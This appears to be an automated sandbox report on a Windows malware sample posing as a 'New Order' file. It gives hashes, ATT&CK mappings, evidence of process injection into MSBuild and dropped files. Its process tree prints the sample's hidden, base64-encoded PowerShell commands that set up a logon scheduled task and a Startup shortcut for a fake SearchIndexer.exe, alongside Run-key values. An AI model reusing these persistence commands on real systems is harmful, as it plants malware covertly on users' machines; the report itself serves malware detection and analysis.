8ec33b1e7c00648bed83da9c05914b458a25995239e61ce287e90c7c8d0b5fc9

Analysis

max time kernel
299s
max time network
169s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
23/07/2026, 06:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
New Order_22_7_2026.exe
Size 2.3MB
Sample260723-g2ms1seq2y
SHA256 8ec33b1e7c00648bed83da9c05914b458a25995239e61ce287e90c7c8d0b5fc9
MD5 488e7b9bbb2b6de4dec92bd97824749f
SHA1 d678724fb4fb5b3b66650b394c4ed6619987ce18
SHA512 4f6550f6ad4ecfd82847742aa674c1c73c42553b791cc8cc8ed9f5d8622fd6ab613aa7d4c6788de01026b67efd3ed0271c52073f1575e5401925121302cb3a7a
SSDEEP 49152:anfHZ6Mj1gw8ul68qoRN66KUdZnEJh/Suy:anS6hdZq5
TLSH
T124B5E820BFFA5874F1BF6E21CEE7B981D7EB7F725916854B2112170B09B18098F42A35
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4912	powershell.exe
1208	powershell.exe
1132	powershell.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SearchIndexer.lnk	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
984	SearchIndexer.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\SearchIndexer = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\WindowsApps\\SearchIndexer.exe\""	New Order_22_7_2026.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SearchIndexer = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\WindowsApps\\SearchIndexer.exe\""	New Order_22_7_2026.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 984 set thread context of 2696	984	SearchIndexer.exe	93

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\people.csv	SearchIndexer.exe
File opened for modification	C:\Windows\people.csv	SearchIndexer.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
4912	powershell.exe
4912	powershell.exe
1208	powershell.exe
1208	powershell.exe
1208	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4616	New Order_22_7_2026.exe
Token: SeDebugPrivilege	4912	powershell.exe
Token: SeDebugPrivilege	1208	powershell.exe
Token: SeIncreaseQuotaPrivilege	4912	powershell.exe
Token: SeSecurityPrivilege	4912	powershell.exe
Token: SeTakeOwnershipPrivilege	4912	powershell.exe
Token: SeLoadDriverPrivilege	4912	powershell.exe
Token: SeSystemProfilePrivilege	4912	powershell.exe
Token: SeSystemtimePrivilege	4912	powershell.exe
Token: SeProfSingleProcessPrivilege	4912	powershell.exe
Token: SeIncBasePriorityPrivilege	4912	powershell.exe
Token: SeCreatePagefilePrivilege	4912	powershell.exe
Token: SeBackupPrivilege	4912	powershell.exe
Token: SeRestorePrivilege	4912	powershell.exe
Token: SeShutdownPrivilege	4912	powershell.exe
Token: SeDebugPrivilege	4912	powershell.exe
Token: SeSystemEnvironmentPrivilege	4912	powershell.exe
Token: SeRemoteShutdownPrivilege	4912	powershell.exe
Token: SeUndockPrivilege	4912	powershell.exe
Token: SeManageVolumePrivilege	4912	powershell.exe
Token: 33	4912	powershell.exe
Token: 34	4912	powershell.exe
Token: 35	4912	powershell.exe
Token: 36	4912	powershell.exe
Token: SeIncreaseQuotaPrivilege	4912	powershell.exe
Token: SeSecurityPrivilege	4912	powershell.exe
Token: SeTakeOwnershipPrivilege	4912	powershell.exe
Token: SeLoadDriverPrivilege	4912	powershell.exe
Token: SeSystemProfilePrivilege	4912	powershell.exe
Token: SeSystemtimePrivilege	4912	powershell.exe
Token: SeProfSingleProcessPrivilege	4912	powershell.exe
Token: SeIncBasePriorityPrivilege	4912	powershell.exe
Token: SeCreatePagefilePrivilege	4912	powershell.exe
Token: SeBackupPrivilege	4912	powershell.exe
Token: SeRestorePrivilege	4912	powershell.exe
Token: SeShutdownPrivilege	4912	powershell.exe
Token: SeDebugPrivilege	4912	powershell.exe
Token: SeSystemEnvironmentPrivilege	4912	powershell.exe
Token: SeRemoteShutdownPrivilege	4912	powershell.exe
Token: SeUndockPrivilege	4912	powershell.exe
Token: SeManageVolumePrivilege	4912	powershell.exe
Token: 33	4912	powershell.exe
Token: 34	4912	powershell.exe
Token: 35	4912	powershell.exe
Token: 36	4912	powershell.exe
Token: SeIncreaseQuotaPrivilege	4912	powershell.exe
Token: SeSecurityPrivilege	4912	powershell.exe
Token: SeTakeOwnershipPrivilege	4912	powershell.exe
Token: SeLoadDriverPrivilege	4912	powershell.exe
Token: SeSystemProfilePrivilege	4912	powershell.exe
Token: SeSystemtimePrivilege	4912	powershell.exe
Token: SeProfSingleProcessPrivilege	4912	powershell.exe
Token: SeIncBasePriorityPrivilege	4912	powershell.exe
Token: SeCreatePagefilePrivilege	4912	powershell.exe
Token: SeBackupPrivilege	4912	powershell.exe
Token: SeRestorePrivilege	4912	powershell.exe
Token: SeShutdownPrivilege	4912	powershell.exe
Token: SeDebugPrivilege	4912	powershell.exe
Token: SeSystemEnvironmentPrivilege	4912	powershell.exe
Token: SeRemoteShutdownPrivilege	4912	powershell.exe
Token: SeUndockPrivilege	4912	powershell.exe
Token: SeManageVolumePrivilege	4912	powershell.exe
Token: 33	4912	powershell.exe
Token: 34	4912	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4616 wrote to memory of 4912	4616	New Order_22_7_2026.exe	89
PID 984 wrote to memory of 2696	984	SearchIndexer.exe	93
PID 984 wrote to memory of 2696	984	SearchIndexer.exe	93
PID 984 wrote to memory of 2696	984	SearchIndexer.exe	93
PID 984 wrote to memory of 2696	984	SearchIndexer.exe	93
PID 984 wrote to memory of 2696	984	SearchIndexer.exe	93
PID 4616 wrote to memory of 1208	4616	New Order_22_7_2026.exe	97

C:\Users\Admin\AppData\Local\Temp\New Order_22_7_2026.exe
"C:\Users\Admin\AppData\Local\Temp\New Order_22_7_2026.exe"
1⤵
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoP -NonInteractive -W Hidden -ExecutionPolicy Bypass -EncodedCommand JABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBBAHAAcABzAFwAUwBlAGEAcgBjAGgASQBuAGQAZQB4AGUAcgAuAGUAeABlACcAOwAkAHQAPQBOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0AQQB0AEwAbwBnAG8AbgAgAC0AVQBzAGUAcgAgACQAZQBuAHYAOgBVAFMARQBSAE4AQQBNAEUAOwAkAHMAPQBOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBBAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAbwBuAHQAUwB0AG8AcABJAGYARwBvAGkAbgBnAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ASABpAGQAZABlAG4AIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABbAFQAaQBtAGUAUwBwAGEAbgBdADoAOgBaAGUAcgBvACkAOwBSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAFMAZQBhAHIAYwBoAEkAbgBkAGUAeABlAHIAJwAgAC0AQQBjAHQAaQBvAG4AIAAkAGEAIAAtAFQAcgBpAGcAZwBlAHIAIAAkAHQAIAAtAFMAZQB0AHQAaQBuAGcAcwAgACQAcwAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAHQAbwBwAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoP -NonInteractive -W Hidden -ExecutionPolicy Bypass -EncodedCommand JABzAGgAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDAG8AbQBPAGIAagBlAGMAdAAgAFcAUwBjAHIAaQBwAHQALgBTAGgAZQBsAGwAOwAkAGwAbgBrAD0AJABzAGgALgBDAHIAZQBhAHQAZQBTAGgAbwByAHQAYwB1AHQAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAUwB0AGEAcgB0ACAATQBlAG4AdQBcAFAAcgBvAGcAcgBhAG0AcwBcAFMAdABhAHIAdAB1AHAAXABTAGUAYQByAGMAaABJAG4AZABlAHgAZQByAC4AbABuAGsAJwApADsAJABsAG4AawAuAFQAYQByAGcAZQB0AFAAYQB0AGgAPQAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAEEAcABwAHMAXABTAGUAYQByAGMAaABJAG4AZABlAHgAZQByAC4AZQB4AGUAJwA7ACQAbABuAGsALgBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAPQA3ADsAJABsAG4AawAuAFMAYQB2AGUAKAApAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops startup file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1208
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"
  2⤵
  PID:1104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoP -NonInteractive -W Hidden -ExecutionPolicy Bypass -EncodedCommand JABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBBAHAAcABzAFwAUwBlAGEAcgBjAGgASQBuAGQAZQB4AGUAcgAuAGUAeABlACcAOwAkAHQAPQBOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0AQQB0AEwAbwBnAG8AbgAgAC0AVQBzAGUAcgAgACQAZQBuAHYAOgBVAFMARQBSAE4AQQBNAEUAOwAkAHMAPQBOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBBAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAbwBuAHQAUwB0AG8AcABJAGYARwBvAGkAbgBnAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ASABpAGQAZABlAG4AIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABbAFQAaQBtAGUAUwBwAGEAbgBdADoAOgBaAGUAcgBvACkAOwBSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAFMAZQBhAHIAYwBoAEkAbgBkAGUAeABlAHIAJwAgAC0AQQBjAHQAaQBvAG4AIAAkAGEAIAAtAFQAcgBpAGcAZwBlAHIAIAAkAHQAIAAtAFMAZQB0AHQAaQBuAGcAcwAgACQAcwAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAHQAbwBwAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1132

C:\Users\Admin\AppData\Roaming\Microsoft\WindowsApps\SearchIndexer.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\WindowsApps\SearchIndexer.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:984
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"
  2⤵
  PID:2696

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
MD5 acbc65123954839a819fa2495d239bf7
SHA1 063cff64444a6e3b4be1445b4cecb477e4d6ae47
SHA512 af07d3f6dcf1779bcc864aabe9e08563b20b8df8238df7bb08a5fe3b4e40d10f2e2a4442a042fe5d7a320e3b8195799ecc885549faa8babb5909eb32271e7b91
TLSH
T170216833B3DD8615CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_yaj4batp.aou.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yaj4batp.aou.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

people.csv

Path C:\Users\Admin\AppData\Local\Temp\people.csv
Size 107B
SHA256 6b94cacb2182b2aadd7fa3c22b1f16581f2e0d64753c927e30edda13edb68605
MD5 7e287cb94c43b8435878b9246a47704a
SHA1 ed9ef93f2bcbf228db551efaeb5e6258c2fc2527
SHA512 a7e47a769adc7e322b410fb8da9626004ffafc45e2ce8a429bb92dac9993030b9926c7c9527232c651f0205655868bb071d2def4379e45bd02b5e94a0b9804e4
TLSH
T1B9B012DB40DA495C2C631070914F24A06CAA343D68345334BF45425878C34DF063E1C4
MD5 SHA1 SHA512 TLSH

Submit Download

people.csv

Path C:\Users\Admin\AppData\Local\Temp\people.csv
Size 105B
SHA256 d3808a294f869de317b32b7a98db1a6634e4a1c9489c4b489298b2be635e648b
MD5 6df0f7eb0eb3448c4adad14ccdad8d10
SHA1 dce6b49b8a78f577907f875ef1a0d0bee3e92689
SHA512 9be03e3ad3ace674e149703d2e29ba2c8a4c100e44aaf6e2fca98ae22307766b2b74b3ebb6ef5658ebdbe21f5b26cdc1521c7f4ee55715af962ae3d7f6f624a2
TLSH
T12EB012E61CE645AC2CF31070610E34646C5B303C18349324BF0503F838834D901BE1C4
MD5 SHA1 SHA512 TLSH

Submit Download

SearchIndexer.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\WindowsApps\SearchIndexer.exe
Size 2.3MB
SHA256 8ec33b1e7c00648bed83da9c05914b458a25995239e61ce287e90c7c8d0b5fc9
MD5 488e7b9bbb2b6de4dec92bd97824749f
SHA1 d678724fb4fb5b3b66650b394c4ed6619987ce18
SHA512 4f6550f6ad4ecfd82847742aa674c1c73c42553b791cc8cc8ed9f5d8622fd6ab613aa7d4c6788de01026b67efd3ed0271c52073f1575e5401925121302cb3a7a
SSDEEP 49152:anfHZ6Mj1gw8ul68qoRN66KUdZnEJh/Suy:anS6hdZq5
TLSH
T124B5E820BFFA5874F1BF6E21CEE7B981D7EB7F725916854B2112170B09B18098F42A35
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

people.csv

Path C:\Windows\people.csv
Size 107B
SHA256 29cfe5ff549e35eb7aad6896ef0447c65e7870874c7c4bd55f60dfdd572eb605
MD5 ff66f7430b8d8b0f543ba6f2bbabcabe
SHA1 624a216ee3b6ccc6c3452e9e15efb4e22818bb46
SHA512 f105b5506de6d18978121b6e6d3517f68c15baf5c7da25dc5d3bc638eb3ab3bff6b7a74fd767f2fd658b5b394591158ad0d74b4936bfde8402b70d4e8632df36
TLSH
T148B0129300D3445C0C631070905F25226CC934BD68345334BF05425078C34DF063E1C4
MD5 SHA1 SHA512 TLSH

Submit Download

people.csv

Path C:\Windows\people.csv
Size 105B
SHA256 1b7e3d40871a70028b94e4bf3edc17f34350c4714faa4c9cf35cc315c5d33968
MD5 6d0a6199609d741ba60a687f237caad0
SHA1 f76f54077363a857a88d121d9b6b7ef50434a8b1
SHA512 fb81fe2fcdad55a3bf9447bb03b23a88f3a5c21d58de97bee87acb91ad02969c8b7f25bf183c4406c3e58093e54d6afbf4d9ad34a5358d19ca6544e19ef2318f
TLSH
T162B012A228A244A80CE31070602E28326CCE30BC18349335FF0503F03C834DA017F1C4
MD5 SHA1 SHA512 TLSH

Submit Download

memory/984-51-0x000000001CB40000-0x000000001CB48000-memory.dmp

Download

memory/984-55-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

Download

memory/984-40-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

Download

memory/984-41-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

Download

memory/984-39-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

Download

memory/984-44-0x000000001CAC0000-0x000000001CAD4000-memory.dmp

Download

memory/984-54-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

Download

memory/984-28-0x000000001CAB0000-0x000000001CAB8000-memory.dmp

Download

memory/1132-84-0x000002F2F3A00000-0x000002F2F3AB2000-memory.dmp

Download

memory/4616-2-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

Download

memory/4616-6-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

Download

memory/4616-4-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

Download

memory/4616-0-0x0000000000550000-0x00000000007AA000-memory.dmp

Download

memory/4616-3-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

Download

memory/4616-5-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

Download

memory/4616-43-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

Download

memory/4616-1-0x00007FF8B90BF000-0x00007FF8B90C0000-memory.dmp

Download

memory/4616-85-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

Download

memory/4912-32-0x000001EAE7E40000-0x000001EAE7EF2000-memory.dmp

Download

memory/4912-52-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

Download

memory/4912-37-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

Download

memory/4912-42-0x000001EAE7B00000-0x000001EAE7B0A000-memory.dmp

Download

memory/4912-36-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

Download

memory/4912-35-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

Download

memory/4912-34-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

Download

memory/4912-50-0x000001EAE8070000-0x000001EAE808E000-memory.dmp

Download

memory/4912-33-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

Download

memory/4912-38-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

Download

memory/4912-53-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

Download

memory/4912-31-0x000001EAE7E20000-0x000001EAE7E3E000-memory.dmp

Download

memory/4912-10-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

Download

memory/4912-16-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

Download

memory/4912-13-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

Download

memory/4912-15-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

Download

memory/4912-73-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

Download

memory/4912-9-0x000001EAE7A90000-0x000001EAE7AB2000-memory.dmp

Download

memory/4912-12-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

Download

memory/4912-11-0x00007FF8B8F30000-0x00007FF8B98D4000-memory.dmp

Download